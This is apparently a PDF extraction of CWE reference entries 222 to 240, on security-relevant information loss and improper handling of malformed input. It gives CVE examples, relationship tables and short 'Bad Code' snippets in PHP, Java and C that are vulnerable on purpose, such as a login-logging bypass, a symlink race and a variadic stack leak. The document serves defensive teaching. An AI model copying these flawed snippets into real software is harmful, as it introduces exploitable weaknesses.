ChildOf		664	Improper Control of a Resource Through its Lifetime	<b>1000</b>	1026
ChildOf		997	SFP Secondary Cluster: Information Loss	<b>888</b>	1392
ParentOf		222	<i>Truncation of Security-relevant Information</i>	<b>699</b>	414

Nature	Type	ID	Name	V	Page
				1000	
ParentOf	B	223	Omission of Security-relevant Information	699	414
				1000	
ParentOf	B	224	Obscured Security-relevant Information by Alternate Name	699	416
				1000	
ParentOf	B	356	Product UI does not Warn User of Unsafe Actions	1000	620
ParentOf	B	396	Declaration of Catch for Generic Exception	1000	682
ParentOf	B	397	Declaration of Throws for Generic Exception	1000	683
ParentOf	B	451	User Interface (UI) Misrepresentation of Critical Information	1000	763

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Information loss or omission

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
81	Web Logs Tampering	

## CWE-222: Truncation of Security-relevant Information

Weakness ID: 222 (Weakness Base)

Status: Draft

### Description

#### Summary

The application truncates the display, recording, or processing of security-relevant information in a way that can obscure the source or nature of an attack.

### Time of Introduction

- Architecture and Design
- Implementation
- Operation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Non-Repudiation

#### Hide activities

The source of an attack will be difficult or impossible to determine. This can allow attacks to the system to continue without notice.

### Observed Examples

Reference	Description
CVE-2003-0412	Does not log complete URI of a long request (truncation).
CVE-2004-2032	Bypass URL filter via a long URL with a large number of trailing hex-encoded space characters.
CVE-2005-0585	Web browser truncates long sub-domains or paths, facilitating phishing.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	G	221	Information Loss or Omission	699	413
				1000	
ChildOf	C	997	SFP Secondary Cluster: Information Loss	888	1392
MemberOf	V	884	CWE Cross-section	884	1319

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Truncation of Security-relevant Information

## CWE-223: Omission of Security-relevant Information

Weakness ID: 223 (Weakness Base)

Status: Draft

**Description****Summary**

The application does not record or display information that would be important for identifying the source or nature of an attack, or determining if an action is safe.

**Time of Introduction**

- Architecture and Design
- Implementation
- Operation

**Applicable Platforms****Languages**

- All

**Common Consequences****Non-Repudiation****Hide activities**

The source of an attack will be difficult or impossible to determine. This can allow attacks to the system to continue without notice.

**Demonstrative Examples**

This code logs suspicious multiple login attempts.

**PHP Example:***Bad Code*






```
function login($userName,$password){
    if(authenticate($userName,$password)){
        return True;
    }
    else{
        incrementLoginAttempts($userName);
        if(recentLoginAttempts($userName) > 5){
            writeLog("Failed login attempt by User: " . $userName . " at " + date('r') );
        }
    }
}
}
```

This code only logs failed login attempts when a certain limit is reached. If an attacker knows this limit, he or she can stop his attack from being discovered by avoiding the limit.

**Observed Examples**

Reference	Description
CVE-1999-1029	Login attempts not recorded if user disconnects before maximum number of tries.
CVE-2000-0542	Failed authentication attempt not recorded if later attempt succeeds.
CVE-2002-1839	Sender's IP address not recorded in outgoing e-mail.

**Relationships**

Nature	Type	ID	Name		Page	
ChildOf		221	Information Loss or Omission		<b>699</b> <b>1000</b>	413
ChildOf		997	SFP Secondary Cluster: Information Loss		<b>888</b>	1392
ParentOf		778	<i>Insufficient Logging</i>		<b>699</b> <b>1000</b>	1193
MemberOf		884	<i>CWE Cross-section</i>		<b>884</b>	1319

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Omission of Security-relevant Information

**References**

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Accountability", Page 40.. 1st Edition. Addison Wesley. 2006.

# CWE-224: Obscured Security-relevant Information by Alternate Name

Weakness ID: 224 (Weakness Base)

Status: Incomplete

## Description

### Summary

The software records security-relevant information according to an alternate name of the affected entity, instead of the canonical name.

### Time of Introduction

- Architecture and Design
- Implementation
- Operation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Non-Repudiation

#### Access Control

#### Hide activities

#### Gain privileges / assume identity

### Demonstrative Examples

This code prints the contents of a file if a user has permission.

#### PHP Example:

Bad Code



```
function readFile($filename){
    $user = getCurrentUser();
    $realFile = $filename;
    //resolve file if its a symbolic link
    if(is_link($filename)){
        $realFile = readlink($filename);
    }
    if(fileowner($realFile) == $user){
        echo file_get_contents($realFile);
        return;
    }
    else{
        echo 'Access denied';
        writeLog($user . ' attempted to access the file ' . $filename . ' on ' . date('r'));
    }
}
```

While the code logs a bad access attempt, it logs the user supplied name for the file, not the canonicalized file name. An attacker can obscure his target by giving the script the name of a link to the file he is attempting to access. Also note this code contains a race condition between the `is_link()` and `readlink()` functions (CWE-363).

### Observed Examples

Reference	Description
CVE-2002-0725	Attacker performs malicious actions on a hard link to a file, obscuring the real target file.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		221	Information Loss or Omission	<b>699</b>	413
ChildOf		997	SFP Secondary Cluster: Information Loss	<b>888</b>	1392

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Obscured Security-relevant Information by Alternate Name

### References



[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". 2nd Edition. Microsoft. 2002.

## CWE-225: DEPRECATED (Duplicate): General Information Management Problems

**Weakness ID:** 225 (Deprecated Weakness Base)

**Status:** Deprecated

### Description

#### Summary

This weakness can be found at CWE-199.

## CWE-226: Sensitive Information Uncleared Before Release

**Weakness ID:** 226 (Weakness Base)

**Status:** Draft

### Description

#### Summary

The software does not fully clear previously used information in a data structure, file, or other resource, before making that resource available to a party in another control sphere.

#### Extended Description

This typically results from new data that is not as long as the old data, which leaves portions of the old data still available. Equivalent errors can occur in other situations where the length of data is variable but the associated data structure is not. If memory is not cleared after use, it may allow unintended actors to read the data when the memory is reallocated.

#### Time of Introduction

- Architecture and Design
- Implementation
- Operation

#### Applicable Platforms

##### Languages

- Language-independent

#### Common Consequences

##### Confidentiality

##### Read application data






#### Observed Examples

Reference	Description
CVE-2002-2077	Memory not properly cleared before reuse.
CVE-2003-0001	Ethernet NIC drivers do not pad frames with null bytes, leading to infoleak from malformed packets.
CVE-2003-0291	router does not clear information from DHCP packets that have been previously used
CVE-2005-1406	Products do not fully clear memory buffers when less data is stored into the buffer than previous.
CVE-2005-1858	Products do not fully clear memory buffers when less data is stored into the buffer than previous.
CVE-2005-3180	Products do not fully clear memory buffers when less data is stored into the buffer than previous.
CVE-2005-3276	Product does not clear a data structure before writing to part of it, yielding information leak of previously used memory.

#### Weakness Ordinalities

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

#### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		200	Information Exposure	 699	384
CanAlsoBe		212	Improper Cross-boundary Removal of Sensitive Data	1000	405
ChildOf		459	Incomplete Cleanup	<b>1000</b>	775
ChildOf		633	Weaknesses that Affect Memory	<b>631</b>	981

Nature	Type	ID	Name	✓	Page
ChildOf	<b>C</b>	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	<b>711</b>	1119
ChildOf	<b>C</b>	742	CERT C Secure Coding Section 08 - Memory Management (MEM)	<b>734</b>	1134
ChildOf	<b>C</b>	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	<b>868</b>	1314
ChildOf	<b>C</b>	963	SFP Secondary Cluster: Exposed Data	<b>888</b>	1377
ParentOf	<b>V</b>	244	<i>Improper Clearing of Heap Memory Before Release ('Heap Inspection')</i>	<b>1000</b>	434

### Relationship Notes

There is a close association between CWE-226 and CWE-212. The difference is partially that of perspective. CWE-226 is geared towards the final stage of the resource lifecycle, in which the resource is deleted, eliminated, expired, or otherwise released for reuse. Technically, this involves a transfer to a different control sphere, in which the original contents of the resource are no longer relevant. CWE-212, however, is intended for sensitive data in resources that are intentionally shared with others, so they are still active. This distinction is useful from the perspective of the CWE research view (CWE-1000).

### Research Gaps

Currently frequently found for network packets, but it can also exist in local memory allocation, files, etc.

### Affected Resources

- Memory

### Functional Areas

- Non-specific
- memory management
- networking

### Causal Nature

**Explicit** (*an explicit weakness resulting from behavior of the developer*)

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Sensitive Information Uncleared Before Use
CERT C Secure Coding	MEM03-C	Clear sensitive information stored in reusable resources returned for reuse
CERT C++ Secure Coding	MEM03-CPP	Clear sensitive information stored in returned reusable resources
Software Fault Patterns	SFP23	Exposed Data

### Maintenance Notes

This entry needs modification to clarify the differences with CWE-212. The description also combines two problems that are distinct from the CWE research perspective - the inadvertent transfer of information to another sphere, and improper initialization/shutdown. Some of the associated taxonomy mappings reflect these different uses.

## CWE-227: Improper Fulfillment of API Contract ('API Abuse')

Weakness ID: 227 (Weakness Class)

Status: Draft

### Description

#### Summary

The software uses an API in a manner contrary to its intended use.

#### Extended Description

An API is a contract between a caller and a callee. The most common forms of API misuse occurs when the caller does not honor its end of this contract. For example, if a program does not call `chdir()` after calling `chroot()`, it violates the contract that specifies how to change the active root directory in a secure fashion. Another good example of library abuse is expecting the callee

to return trustworthy DNS information to the caller. In this case, the caller misuses the callee API by making certain assumptions about its behavior (that the return value can be used for authentication purposes). One can also violate the caller-callee contract from the other side. For example, if a coder subclasses `SecureRandom` and returns a non-random value, the contract is violated.

### Alternate Terms

#### API Abuse

### Time of Introduction

- Architecture and Design
- Implementation

### Common Consequences

#### Integrity

#### Other

#### Quality degradation

#### Unexpected state

### Observed Examples

Reference	Description
CVE-2006-4339	Crypto implementation removes padding when it shouldn't, allowing forged signatures
CVE-2006-7140	Crypto implementation removes padding when it shouldn't, allowing forged signatures

### Potential Mitigations

#### Implementation

#### Architecture and Design

Always utilize APIs in the specified manner.

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf	<b>C</b>	18	Source Code	699	17
ChildOf	<b>G</b>	710	Coding Standards Violation	1000	1109
ChildOf	<b>C</b>	1001	SFP Secondary Cluster: Use of an Improper API	888	1403
ParentOf	<b>B</b>	242	<i>Use of Inherently Dangerous Function</i>	699 700	431
ParentOf	<b>V</b>	243	<i>Creation of chroot Jail Without Changing Working Directory</i>	699 700	433
ParentOf	<b>V</b>	244	<i>Improper Clearing of Heap Memory Before Release ('Heap Inspection')</i>	699 700	434
ParentOf	<b>V</b>	245	<i>J2EE Bad Practices: Direct Management of Connections</i>	699 700	435
ParentOf	<b>V</b>	246	<i>J2EE Bad Practices: Direct Use of Sockets</i>	699 700	437
ParentOf	<b>B</b>	248	<i>Uncaught Exception</i>	699 700	438
ParentOf	<b>G</b>	250	<i>Execution with Unnecessary Privileges</i>	699 700	440
ParentOf	<b>C</b>	251	<i>Often Misused: String Management</i>	699 700	445
ParentOf	<b>B</b>	252	<i>Unchecked Return Value</i>	699 700	446
ParentOf	<b>B</b>	253	<i>Incorrect Check of Function Return Value</i>	699	451
ParentOf	<b>V</b>	350	<i>Reliance on Reverse DNS Resolution for a Security-Critical Action</i>	699	608
ParentOf	<b>V</b>	382	<i>J2EE Bad Practices: Use of System.exit()</i>	699	661
ParentOf	<b>V</b>	558	<i>Use of getlogin() in Multithreaded Application</i>	700	893
ParentOf	<b>C</b>	559	<i>Often Misused: Arguments and Parameters</i>	699	894
ParentOf	<b>G</b>	573	<i>Improper Following of Specification by Caller</i>	699 1000	910
ParentOf	<b>V</b>	586	<i>Explicit Call to Finalize()</i>	1000	926

Nature	Type	ID	Name	V	Page
ParentOf	V	589	Call to Non-ubiquitous API	699	929
ParentOf	B	605	Multiple Binds to the Same Port	699	951
ParentOf	B	648	Incorrect Use of Privileged APIs	1000	1004
ParentOf	V	650	Trusting HTTP Permission Methods on the Server Side	1000	1007
PeerOf	G	675	Duplicate Operations on Resource	1000	1043
ParentOf	B	684	Incorrect Provision of Specified Functionality	699 1000	1065
MemberOf	V	700	Seven Pernicious Kingdoms	700	1081

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		API Abuse
WASC	42	Abuse of Functionality

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
96	Block Access to Libraries	

## CWE-228: Improper Handling of Syntactically Invalid Structure

Weakness ID: 228 (Weakness Class)

Status: Incomplete

### Description

#### Summary

The product does not handle or incorrectly handles input that is not syntactically well-formed with respect to the associated specification.

### Time of Introduction

- Implementation
- Architecture and Design

### Common Consequences

#### Integrity

#### Availability

#### Unexpected state

#### DoS: crash / exit / restart

#### DoS: resource consumption (CPU)

If an input is syntactically invalid, then processing the input could place the system in an unexpected state that could lead to a crash, consume available system resources or other unintended behaviors.

### Demonstrative Examples

This application has registered to handle a URL when sent an intent:

#### Java Example:

Bad Code

```
...
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...
public class UrlHandlerReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        if("com.example.URLHandler.openURL".equals(intent.getAction())) {
            String URL = intent.getStringExtra("URLToOpen");
            int length = URL.length();
            ...
        }
    }
}
```

The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called.

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf	C	19	Data Handling	699	18
ChildOf	C	137	Representation Errors	699	284
ChildOf	G	703	Improper Check or Handling of Exceptional Conditions	1000	1102
ChildOf	G	707	Improper Enforcement of Message or Data Structure	1000	1107
ChildOf	C	728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	711	1119
ChildOf	C	993	SFP Secondary Cluster: Incorrect Input Handling	888	1391
ParentOf	B	229	<i>Improper Handling of Values</i>	699 1000	421
ParentOf	B	233	<i>Improper Handling of Parameters</i>	699 1000	424
ParentOf	B	237	<i>Improper Handling of Structural Elements</i>	699 1000	428
ParentOf	B	241	<i>Improper Handling of Unexpected Data Type</i>	699 1000	430
MemberOf	V	884	CWE Cross-section	884	1319

### Relevant Properties

- Validity

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Structure and Validity Problems
OWASP Top Ten 2004	A7	CWE More Specific	Improper Error Handling

### Maintenance Notes

This entry needs more investigation. Public vulnerability research generally focuses on the manipulations that generate invalid structure, instead of the weaknesses that are exploited by those manipulations. For example, a common attack involves making a request that omits a required field, which can trigger a crash in some cases. The crash could be due to a named chain such as CWE-690 (Unchecked Return Value to NULL Pointer Dereference), but public reports rarely cover this aspect of a vulnerability.

The validity of input could be roughly classified along "syntactic", "semantic", and "lexical" dimensions. If the specification requires that an input value should be delimited with the "[" and "]" square brackets, then any input that does not follow this specification would be syntactically invalid. If the input between the brackets is expected to be a number, but the letters "aaa" are provided, then the input is syntactically invalid. If the input is a number and enclosed in brackets, but the number is outside of the allowable range, then it is semantically invalid. The inter-relationships between these properties - and their associated weaknesses- need further exploration.

## CWE-229: Improper Handling of Values

Weakness ID: 229 (Weakness Base)

Status: Incomplete

### Description

#### Summary

The software does not properly handle when the expected number of values for parameters, fields, or arguments is not provided in input, or if those values are undefined.

### Time of Introduction

- Architecture and Design
- Implementation

### Common Consequences

#### Integrity

#### Unexpected state

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf		228	Improper Handling of Syntactically Invalid Structure	699 1000	420
ChildOf		993	SFP Secondary Cluster: Incorrect Input Handling	888	1391
ParentOf		230	Improper Handling of Missing Values	699 1000	422
ParentOf		231	Improper Handling of Extra Values	699 1000	423
ParentOf		232	Improper Handling of Undefined Values	699 1000	423

## CWE-230: Improper Handling of Missing Values

Weakness ID: 230 (Weakness Variant)

Status: Draft

## Description

## Summary

The software does not handle or incorrectly handles when a parameter, field, or argument name is specified, but the associated value is missing, i.e. it is empty, blank, or null.

## Time of Introduction

- Implementation

## Applicable Platforms

## Languages

- All

## Common Consequences

## Integrity

## Unexpected state

## Demonstrative Examples

This application has registered to handle a URL when sent an intent:

## Java Example:

Bad Code

```

...
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...
public class UrlHandlerReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        if("com.example.URLHandler.openURL".equals(intent.getAction())) {
            String URL = intent.getStringExtra("URLToOpen");
            int length = URL.length();
            ...
        }
    }
}

```

The application assumes the URL will always be included in the intent. When the URL is not present, the call to `getStringExtra()` will return null, thus causing a null pointer exception when `length()` is called.

## Observed Examples

Reference	Description
CVE-2000-1006	Blank "charset" attribute in MIME header triggers crash.
CVE-2002-0422	Blank Host header triggers resultant infoleak.
CVE-2004-1504	Blank parameter causes external error infoleak.
CVE-2005-2053	Blank parameter causes external error infoleak.

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf		229	Improper Handling of Values	699	421

Nature	Type	ID	Name	V	Page
				<b>1000</b>	
ChildOf	<b>C</b>	851	CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)	<b>844</b>	1294
ChildOf	<b>C</b>	993	SFP Secondary Cluster: Incorrect Input Handling	<b>888</b>	1391

### Research Gaps

Some "crash by port scan" bugs are probably due to this, but lack of diagnosis makes it difficult to be certain.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Missing Value Error
CERT Java Secure Coding	ERR08-J	Do not catch NullPointerException or any of its ancestors

## CWE-231: Improper Handling of Extra Values

Weakness ID: 231 (Weakness Variant)

Status: Draft

### Description

#### Summary

The software does not handle or incorrectly handles when more values are provided than expected.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- All

#### Modes of Introduction

This typically occurs in situations when only one value is expected.

#### Common Consequences

##### Integrity

##### Unexpected state

### Relationships

Nature	Type	ID	Name	V	Page
CanPrecede	<b>B</b>	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	1000	234
ChildOf	<b>B</b>	229	Improper Handling of Values	<b>699</b>	421
				<b>1000</b>	
ChildOf	<b>C</b>	993	SFP Secondary Cluster: Incorrect Input Handling	<b>888</b>	1391

### Relationship Notes

This can overlap buffer overflows.

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Extra Value Error

## CWE-232: Improper Handling of Undefined Values

Weakness ID: 232 (Weakness Variant)

Status: Draft

### Description

#### Summary

The software does not handle or incorrectly handles when a value is not defined or supported for the associated parameter, field, or argument name.

#### Time of Introduction

- Architecture and Design
- Implementation



### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Integrity

#### Unexpected state

### Demonstrative Examples

In this example, an address parameter is read and trimmed of whitespace.

#### Java Example:

*Bad Code*

```
String address = request.getParameter("address").trim();
```

If the value of the address parameter is null (undefined), the servlet will throw a NullPointerException.

### Observed Examples

Reference	Description
CVE-2000-1003	Client crash when server returns unknown driver type.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		229	Improper Handling of Values	<b>699</b> <b>1000</b>	421
ChildOf		851	CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)	<b>844</b>	1294
ChildOf		993	SFP Secondary Cluster: Incorrect Input Handling	<b>888</b>	1391

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Undefined Value Error
CERT Java Secure Coding	ERR08-J	Do not catch NullPointerException or any of its ancestors

## CWE-233: Improper Handling of Parameters

Weakness ID: 233 (*Weakness Base*) Status: Incomplete

### Description

#### Summary

The software does not properly handle when the expected number of parameters, fields, or arguments is not provided in input, or if those parameters are undefined.

### Time of Introduction

- Architecture and Design
- Implementation

### Common Consequences

#### Integrity

#### Unexpected state

### Demonstrative Examples

This application has registered to handle a URL when sent an intent:

#### Java Example:

*Bad Code*

```
...
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...
public class UrlHandlerReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        if("com.example.URLHandler.openURL".equals(intent.getAction())) {
            String URL = intent.getStringExtra("URLToOpen");
            int length = URL.length();
        }
    }
    ...
}
```






```

}
}
}

```

The application assumes the URL will always be included in the intent. When the URL is not present, the call to `getStringExtra()` will return null, thus causing a null pointer exception when `length()` is called.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		228	Improper Handling of Syntactically Invalid Structure	<b>699</b>	420
ChildOf		993	SFP Secondary Cluster: Incorrect Input Handling	<b>888</b>	1391
ParentOf		234	<i>Failure to Handle Missing Parameter</i>	<b>699</b>	425
				<b>1000</b>	
ParentOf		235	<i>Improper Handling of Extra Parameters</i>	<b>699</b>	427
				<b>1000</b>	
ParentOf		236	<i>Improper Handling of Undefined Parameters</i>	<b>699</b>	427
				<b>1000</b>	

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Parameter Problems

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
39	Manipulating Opaque Client-based Data Tokens	

## CWE-234: Failure to Handle Missing Parameter

Weakness ID: 234 (*Weakness Variant*)

Status: Incomplete

### Description

#### Summary

If too few arguments are sent to a function, the function will still pop the expected number of arguments from the stack. Potentially, a variable number of arguments could be exhausted in a function as well.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Integrity

#### Confidentiality

#### Availability

#### Access Control

#### Execute unauthorized code or commands

#### Gain privileges / assume identity

There is the potential for arbitrary code execution with privileges of the vulnerable program if function parameter list is exhausted.

#### Availability

#### DoS: crash / exit / restart

Potentially a program could fail if it needs more arguments than are available.

### Likelihood of Exploit

High

### Demonstrative Examples

**C/C++ Example:**

Bad Code

```
foo_func(one, two);...
void foo_func(int one, int two, int three) {
    printf("1) %d\n2) %d\n3) %d\n", one, two, three);
}
```

**C/C++ Example:**

Bad Code

```
void some_function(int foo, ...) {
    int a[3], i;
    va_list ap;
    va_start(ap, foo);
    for (i = 0; i < sizeof(a) / sizeof(int); i++) a[i] = va_arg(ap, int);
    va_end(ap);
}
int main(int argc, char *argv[]) {
    some_function(17, 42);
}
```

This can be exploited to disclose information with no work whatsoever. In fact, each time this function is run, it will print out the next 4 bytes on the stack after the two numbers sent to it.

**Observed Examples**

Reference	Description
CVE-2000-0521	Web server allows disclosure of CGI source code via an HTTP request without the version number.
CVE-2001-0590	Application server allows a remote attacker to read the source code to arbitrary 'jsp' files via a malformed URL request which does not end with an HTTP protocol specification.
CVE-2002-0107	Resultant infoleak in web server via GET requests without HTTP/1.0 version string.
CVE-2002-0596	GET request with empty parameter leads to error message infoleak (path disclosure).
CVE-2002-1023	Server allows remote attackers to cause a denial of service (crash) via an HTTP GET request without a URI.
CVE-2002-1077	Crash in HTTP request without a Content-Length field.
CVE-2002-1169	Proxy allows remote attackers to cause a denial of service (crash) via an HTTP request to helpout.exe with a missing HTTP version numbers.
CVE-2002-1236	CGI crashes when called without any arguments.
CVE-2002-1358	Empty elements/strings in protocol test suite affect many SSH2 servers/clients.
CVE-2002-1488	Chat client allows remote malicious IRC servers to cause a denial of service (crash) via a PART message with (1) a missing channel or (2) a channel that the user is not in.
CVE-2002-1531	Crash in HTTP request without a Content-Length field.
CVE-2003-0239	Chat software allows remote attackers to cause a denial of service via malformed GIF89a headers that do not contain a GCT (Global Color Table) or an LCT (Local Color Table) after an Image Descriptor.
CVE-2003-0422	CGI crashes when called without any arguments.
CVE-2003-0477	FTP server crashes in PORT command without an argument.
CVE-2004-0276	Server earlier allows remote attackers to cause a denial of service (crash) via an HTTP request with a sequence of "%" characters and a missing Host field.




**Potential Mitigations****Build and Compilation**

This issue can be simply combated with the use of proper build process.

**Implementation**

Forward declare all functions. This is the recommended solution. Properly forward declaration of all used functions will result in a compiler error if too few arguments are sent to a function.

**Relationships**

Nature	Type	ID	Name		Page
ChildOf		233	Improper Handling of Parameters		699 424 1000
ChildOf		993	SFP Secondary Cluster: Incorrect Input Handling		888 1391

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Missing Parameter Error
CLASP	Missing parameter

### Maintenance Notes

This entry will be deprecated in a future version of CWE. The term "missing parameter" was used in both PLOVER and CLASP, with completely different meanings. However, data from both taxonomies was merged into this entry. In PLOVER, it was meant to cover malformed inputs that do not contain required parameters, such as a missing parameter in a CGI request. This entry's observed examples and classification came from PLOVER. However, the description, demonstrative example, and other information are derived from CLASP. They are related to an incorrect number of function arguments, which is already covered by CWE-685.

## CWE-235: Improper Handling of Extra Parameters

Weakness ID: 235 (Weakness Variant)

Status: Draft

### Description

#### Summary

The software does not handle or incorrectly handles when the number of parameters, fields, or arguments with the same name exceeds the expected amount.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- All

#### Modes of Introduction

This typically occurs in situations when only one element is expected to be specified.

#### Common Consequences



##### Integrity

##### Unexpected state

#### Observed Examples

Reference	Description
CVE-2003-1014	MIE. multiple gateway/security products allow restriction bypass using multiple MIME fields with the same name, which are interpreted differently by clients.

#### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		233	Improper Handling of Parameters	<b>699</b>	424
ChildOf		993	SFP Secondary Cluster: Incorrect Input Handling	<b>888</b>	1391

#### Relationship Notes

This type of problem has a big role in multiple interpretation vulnerabilities and various HTTP attacks.

#### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Extra Parameter Error

#### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
460	HTTP Parameter Pollution (HPP)	

## CWE-236: Improper Handling of Undefined Parameters

Weakness ID: 236 (Weakness Variant)

Status: Draft

### Description

#### Summary

The software does not handle or incorrectly handles when a particular parameter, field, or argument name is not defined or supported by the product.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Integrity

##### Unexpected state

#### Observed Examples

Reference	Description
CVE-2001-0650	Router crash or bad route modification using BGP updates with invalid transitive attribute.
CVE-2002-1488	Crash in IRC client via PART message from a channel the user is not in.

#### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		233	Improper Handling of Parameters	<b>699</b> <b>1000</b>	424
ChildOf		993	SFP Secondary Cluster: Incorrect Input Handling	<b>888</b>	1391

#### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Undefined Parameter Error

## CWE-237: Improper Handling of Structural Elements

Weakness ID: 237 (Weakness Base)

Status: Incomplete

#### Description

##### Summary

The software does not handle or incorrectly handles inputs that are related to complex structures.

#### Common Consequences

##### Integrity

##### Unexpected state

#### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		228	Improper Handling of Syntactically Invalid Structure	<b>699</b> <b>1000</b>	420
ChildOf		993	SFP Secondary Cluster: Incorrect Input Handling	<b>888</b>	1391
ParentOf		238	<i>Improper Handling of Incomplete Structural Elements</i>	<b>699</b> <b>1000</b>	428
ParentOf		239	<i>Failure to Handle Incomplete Element</i>	<b>699</b> <b>1000</b>	429
ParentOf		240	<i>Improper Handling of Inconsistent Structural Elements</i>	<b>699</b> <b>1000</b>	430

#### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Element Problems

## CWE-238: Improper Handling of Incomplete Structural Elements

Weakness ID: 238 (Weakness Variant)

Status: Draft

#### Description

##### Summary

The software does not handle or incorrectly handles when a particular structural element is not completely specified.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Integrity

##### Unexpected state

#### Weakness Ordinalities

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

#### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	<b>B</b>	237	Improper Handling of Structural Elements	<b>699</b>	428
ChildOf	<b>C</b>	993	SFP Secondary Cluster: Incorrect Input Handling	<b>888</b>	1391

#### Relationship Notes

Can be primary to other problems.

#### Causal Nature

**Explicit** (an explicit weakness resulting from behavior of the developer)

#### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Missing Element Error

## CWE-239: Failure to Handle Incomplete Element

Weakness ID: 239 (Weakness Variant)

Status: Draft

#### Description

##### Summary

The software does not properly handle when a particular element is not completely specified.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Integrity

##### Other

##### Varies by context

##### Unexpected state

#### Observed Examples

Reference	Description
CVE-2002-1532	HTTP GET without \r\n\r\n CRLF sequences causes product to wait indefinitely and prevents other users from accessing it.
CVE-2002-1906	CPU consumption by sending incomplete HTTP requests and leaving the connections open.
CVE-2003-0195	Partial request is not timed out.
CVE-2005-2526	MFV. CPU exhaustion in printer via partial printing request then early termination of connection.

#### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf	B	237	Improper Handling of Structural Elements	699 1000	428
PeerOf	B	404	Improper Resource Shutdown or Release	1000	699
ChildOf	C	993	SFP Secondary Cluster: Incorrect Input Handling	888	1391

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Incomplete Element

## CWE-240: Improper Handling of Inconsistent Structural Elements

Weakness ID: 240 (*Weakness Variant*)

Status: Draft

### Description

#### Summary

The software does not handle or incorrectly handles when two or more structural elements should be consistent, but are not.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Integrity

#### Other

#### Varies by context

#### Unexpected state

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf	B	237	Improper Handling of Structural Elements	699 1000	428
ChildOf	G	707	Improper Enforcement of Message or Data Structure	1000	1107
ChildOf	C	993	SFP Secondary Cluster: Incorrect Input Handling	888	1391
ParentOf	V	130	<i>Improper Handling of Length Parameter Inconsistency</i>	1000	266

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Inconsistent Elements

